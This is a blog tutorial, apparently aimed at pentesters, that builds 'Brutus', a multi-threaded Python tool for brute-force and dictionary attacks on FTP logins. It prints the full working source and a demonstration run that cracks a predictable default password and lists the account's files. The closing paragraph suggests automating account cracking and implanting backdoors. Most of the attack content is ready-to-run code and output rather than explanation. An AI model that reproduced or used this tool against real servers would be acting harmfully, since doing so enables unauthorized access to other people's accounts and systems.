Brute-Force Hacking Guides Pentest Python

Python FTP Brute-Force & Dictionary Attack

Who brute-forces anymore? 

I do! When appropriate.

I’ve created Brutus which is a tiny python ftp brute-force and dictionary attack tool. However, let’s put that on hold for a sec. Before we dive into this python FTP brute-force and dictionary attack tool, let’s set the record straight on what exactly is a brute-force attack and what’s a dictionary attack.

What’s the difference between a brute-force and dictionary attack?

I’ve been guilty of calling a dictionary attack a brute-force attack more than once despite that being technically inaccurate. Fundamentally, they both exhaust a preset range of passwords. The only real difference is the content of this range of passwords.

Brute-Force Attack

In a brute-force attack the passwords are typically generated on the fly and based on a character set and a set password length. These two values are processed by an algorithm which will then attempt all possible combinations in the specified range.

Dictionary Attack

On the other side, a dictionary attack typically receives its passwords from a file containing a pre-generated list of passwords which are most likely to be successful. This is why it’s common for the dictionary to be used in a dictionary attack. However, that doesn’t mean the words have to be human readable words. They can contain only digits or even special characters if that were appropriate.

Boiled Down

What separates a brute-force attack from a dictionary attack is time. Brute-force attacking will in most cases (you’re doing it wrong) take longer than a dictionary attack. A dictionary attack’s goal is to reduce a the amount of time a brute-force attack would take by trying a fraction of the full set you believe to be most likely used for a password.

Okay, with that out of the way let’s go ahead and jump into writing our python FTP brute-force and dictionary attack tool.

Coding a Python FTP Brute-Force & Dictionary Attack Tool


Today we’re going to write a python tool to brute-force or dictionary attack an FTP server. The tool will be multi-threaded and have a several command line arguments for configuring the attack which you can review below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
usage: brutus.py [-h] [-w WORDLIST] [-c CHARSET] [-l [LENGTH]]
                 [-m [MINLENGTH]] [-r PREFIX] [-o POSTFIX] [-p [PAUSE]]
                 [-t [THREADS]] [-v [VERBOSE]]
                 host username

positional arguments:
  host                  FTP host
  username              username to crack

optional arguments:
  -h, --help            show this help message and exit
  -w WORDLIST, --wordlist WORDLIST
                        wordlist of passwords
  -c CHARSET, --charset CHARSET
                        character set for brute-force
  -l [LENGTH], --length [LENGTH]
                        password length for brute-force
  -m [MINLENGTH], --minlength [MINLENGTH]
                        Minimum password length
  -r PREFIX, --prefix PREFIX
                        prefix each password for brute-force
  -o POSTFIX, --postfix POSTFIX
                        postfix each password for brute-force
  -p [PAUSE], --pause [PAUSE]
                        pause time between launching threads
  -t [THREADS], --threads [THREADS]
                        num of threads
  -v [VERBOSE], --verbose [VERBOSE]
                        verbose output

Python Imports

1
2
3
4
import argparse, sys, threading, time
from datetime import datetime
from itertools import chain, product
from ftplib import FTP

We start with importing the required modules for the tool. We use datetime for getting the current time, itertools is used for generating passwords in brute-force attacks, and finally ftplib is used for attempting connections to an FTP server.

1
2
3
4
5
6
7
8
9
10
11
12
# Create some global variables
class glob:
    pwd = False # Used for stopping attack when password found
    chrset = "" # Character set for brute-force
    prefix = "" # Prefix string
    postfix = "" # Postfix string
    length = 8 # Default length of password
    minlength = 5 # Default min length of password
    thrds = 10 # Default num of threads
    verb = False # Default value for verbose output
    pause = 0.01 # Default throttle time, 1 = one second
    cnt = 0 # Counting number of attempts

Global Variables

These are the global variables we’ll use through a class to store the tool’s configuration values.
pwd – For declaring that a password has been found and used for stopping the scan
chrset – For declaring the character set to use when performing a brute-force attack.
An example character set could be: abcdefghijklmnopqrstuvwxyz
prefix – For declaring a string to prepend to any passwords generated when brute-forcing
postfix – For declaring a string to postpend to any passwords generated when brute-forcing
length – For declaring the default length of a generated password when brute-forcing
minlength – For declaring the minimum length of a generated password when brute-forcing
thrds – Number of threads to launch when attacking
verb – For declaring verbose output
pause – For throttling the launch of threads
cnt – For tracking the number of password attempts

Brute-Force Password Generator

This next method is what we’ll use to generate passwords for brute-forcing. The method will take three parameters charset, maxlength, and minlength. This method will take these input values and generate all possible combinations.

1
2
3
4
5
# Iterable Method for brute-forcing a character set and length
def bruteforce(charset, maxlength, minlength):
    return (''.join(candidate)
        for candidate in chain.from_iterable(product(charset, repeat=i)
        for i in range(minlength, maxlength + 1)))

charset – Is used for specifying the character set to use when generating passwords
maxlength – Is the maximum number of characters for the password
minlength – Is the minimum number of characters for the password

FTP Connection Attempt Method

This is our method for attempting FTP connections to our target system. This method takes three parameters host, user, and pwd which are self explanatory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Method for making ftp connections
def crack(host, user, pwd):
    try:
        if glob.verb: # Check for verbose output
            print "[" + str(glob.cnt) + "] Trying: " + pwd.strip()
        ftp = FTP(host) # Create FTP object
        if ftp.login (user, pwd): # Check if true
            print "\nPassword for " + user + ": " + pwd.strip()
            print "=================================================="
            glob.pwd = True # Set global value
            print ftp.dir() # Display contents of root FTP
            ftp.quit() # Disconnect from FTP
    except Exception as err:
        pass # Ignore errors

The first thing we do is create a try/except block to ignore any errors as each failed attempt will generate an error that we are not concerned with. From there we want to check our glob.verb variable for True and display the passwords we are attempting.

Next, we create an FTP object from ftplib to facilitate our FTP connections and use the login() method to attempt a connection. If True, then we’ve successfully made a connection and found a valid password. We’ll print our results to the screen, set the glob.pwd variable to True then display the contents of the FTP directory and finally close the connection with quit().

Wait For Threads

This method will be used after launching our threads and will allow each thread to complete by calling .join() before launching a new set of threads.

1
2
3
# Method wait for threads to complete
def wait(threads):
    for thread in threads: thread.join()

 

Main Attack Method

Our main method is used to prepare our attack and launch it once it’s been configured. There looks to be a lot going on here, but it’s really basic stuff. We just need to do a little leg work. We get started by setting up a try/except block to catch the KeyboardInterrupt when a user pressing Ctrl+C to stop the scan.

Next, we’ll create our tools header message and initializing each global variable from the command line arguments passed into the tool. If the user did not supply a value for glob.charset, we’ll generate a characters set of all the printable characters.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# Method for staging attack
def main(args):
    try:
        start = datetime.now() # Time attack started
        print "\nAttacking FTP user [" + args.username + "] at [" + args.host + "]"
        print "=================================================="
        thrdCnt  = 0;threads = [] # Local variables
        # Set global variables
        if args.pause:glob.pause = float(args.pause)
        if args.verbose:glob.verb = True
        if args.threads:glob.thrds = int(args.threads)
        if args.length:glob.length = int(args.length)
        if args.minlength:glob.minlength = int(args.minlength)
        if args.charset:glob.chrset = args.charset
        if args.prefix:glob.prefix = args.prefix
        if args.postfix:glob.postfix = args.postfix
        if args.charset == None:
            # Create charset from printable ascii range
            for char in range(37,127):glob.chrset += chr(char)
        # Brute force attack
        if args.wordlist == None:
            for pwd in bruteforce(glob.chrset, int(glob.length),int(glob.minlength)): # Launch brute-force
                if glob.pwd: break # Stop if password found
                if thrdCnt  != args.threads: # Create threads until args.threads
                    if args.prefix:
                        pwd = str(args.prefix) + pwd
                    if args.postfix:
                        pwd += str(args.postfix)
                    thread = threading.Thread(target=crack, args=(args.host,args.username,pwd,))
                    thread.start()
                    threads.append(thread)
                    thrdCnt += 1;glob.cnt+=1
                    time.sleep(glob.pause) # Set pause time
                else: # Wait for threads to complete    
                    wait(threads)
                    thrdCnt  = 0
                    threads = []
        # Dictionary attack
        else:
            with open(args.wordlist) as fle: # Open wordlist
                for pwd in fle: # Loop through passwords
                    if glob.pwd: break # Stop if password found
                    if thrdCnt  != args.threads: # Create threads until args.threads
                        thread = threading.Thread(target=crack, args=(args.host,args.username,pwd,))
                        thread.start()
                        threads.append(thread)
                        thrdCnt +=1;glob.cnt+=1
                        time.sleep(glob.pause) # Set pause time
                    else:
                        wait(threads) # Wait for threads to complete
                        thrdCnt  = 0
                        threads = []
    except KeyboardInterrupt:
        print "\nUser Cancelled Attack, stopping remaining threads....."
        wait(threads) # Wait for threads to complete
        sys.exit(0) # Kill app
    wait(threads) # Wait for threads to complete
    stop = datetime.now()
    print "=================================================="
    print "Attack Duration: " + str(stop - start)
    print "Attempts: " + str(glob.cnt) + "\n"

Now we step into the logic that checks if this is a brute-force attack by checking the args.wordlist value for None. If true, we start the brute-force attack by create a for loop that iterates through our bruteforce() method returning one generated password at a time and launching a new thread.

We use an if statement to track the number of threads generated and when we’ve reached the max we hit the else clause where we call the wait() method passing in our threads and waiting for them to complete before our loop continues and starts the next round of threads, repeating this process until all passwords are exhausted or we find a password.

If we’re launching a dictionary attack we’ll then open the supplied wordlist file and loop through it’s contents reading each line and creating an attack thread. Just like with the brute-force attack we create a thread for each attempt. We track our threads and launch new batches once the first has completed.

Again, this process continues until all passwords are exhausted or a valid password is found. Finally, the tool ends with a simple footer message that display the attack duration and the number of attempts made during that time. Now that our tool is complete let’s look at a scenario where we might utilize this tool.

Brute-Force Attack Scenario

You might think brute-forcing is pointless against an FTP service for the obvious time it would take to crack an account. This is certainly true for an un-targeted brute-force attack, but, what if we were dealing with a situation of poorly generated default passwords? System administrators and programmers are human beings, and therefore will make mistakes.

Let’s say a small sas-hosting company (or not) has a small start-up team and may not have appropriate change management policies enacted. This lead to a situation where a junior developer’s just testing some ideas code finds its way into a production environment and inadvertently creates a security risk.

This code happens to give all new accounts a unique ID incremented by one combined with the first four letters of the server hostname. This combination is then used to create new system accounts as needed which would allow an attacker to enumerate system accounts with ease once they had an ID value.

The developer also gave each of these accounts a default password made of the first four characters of the hostname scrambled, combined with a randomly generated four digit number between 0000 – 9999. However, due to a bug in the code the first four characters were not being randomly scrambled and remained static.

How to Crack The Code?

With the understanding that the hostname and uniquie ID create our username we are easily able to enumerate user accounts on the server by decrementing the uniquie ID up or down by one.

Let’s pretend the server hostname is ua-homeonline.example.com and the unique ID is 3452842 this would give us a username of ua-h3452842 as a starting point for enumerating accounts on this server. We also know the password contains the first four characters of the hostname and a randomly generated number from 0000-9999.

Being that the first four characters are static we only need to generate passwords of 10^4 and combine the two values on each iteration to create a list of passwords to attack. Under normal circumstances, to brute-force an eight digit password of only lower case letters, hyphens, and numbers zero through nine gives us 38^8 possible guesses and is equal to 4,347,792,138,496. Yes, that’s trillion!

Let’s see if we can reduce that down to something manageable. We already know the first four characters of the password which dramatically reduces the number of possibilities. The last four characters of the password is a randomly generated four digit number from 0000-9999 giving us 10^4 which totals out to only 10,000 possibilities to brute-force. I do believe that is less than four trillion.

Fast Enough?

With 10,000 possibilities to brute-force it would take you less than three hours to crack the password at the rate of one guess per second. If you tried 45 passwords a second it would take less than four minutes to crack the password so let’s try it out.

Cracking The Password

Now, at this point we could use PaGen to generate a dictionary file of all 10,000 passwords if we were going to combine the passwords with additional password lists. In this instance, I’m just going to use this tiny python ftp brute-force tool, Brutus to brute-force all 10,000 possibilities in our attack. Brutus has several command line options for brute-force attacks which we’ll use to facilitate our attack against a specific character set and password length.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mrh@dev:~$ ./brutus.py ua-homeonline.example.com ua-h3452842 -c "0123456789" -l 4 -m 4 -r "ua-h" -t 50 -v

Attacking FTP user [ua-h3452842] at [ua-homeonline.example.com]
==================================================
[1] Trying: ua-h0000
[2] Trying: ua-h0001
[3] Trying: ua-h0002
[4] Trying: ua-h0003
[5] Trying: ua-h0004
[6] Trying: ua-h0005
[7] Trying: ua-h0006
[8] Trying: ua-h0007
[9] Trying: ua-h0008
[10] Trying: ua-h0009
[11] Trying: ua-h0010
...
...
[2735] Trying: ua-h2788
[2736] Trying: ua-h2789
[2737] Trying: ua-h2790
[2738] Trying: ua-h2791
[2739] Trying: ua-h2792

Password for ua-h3452842: ua-h2773
==================================================
drwxrwxr-x 2 1004 1004 4096 Sep 02 20:36 secret
None
==================================================
Attack Duration: 0:03:28.225287
Attempts: 2739

mrh@dev:~$

Closing

Reviewing the output you can see I was able to determine the password for the account in less than 4 minutes. That’s just one of many accounts on the server. From here you could write an automated tool to crack accounts and then implant backdoors once an account is compromised. While brute-force isn’t generally your go-to option, it does have it’s place. If you make any needed additions to this tool please let me know as I’d love to see your improvements.

About the author

Mr. H

1 Comment

Click here to post a comment

Got Something To Say?

%d bloggers like this: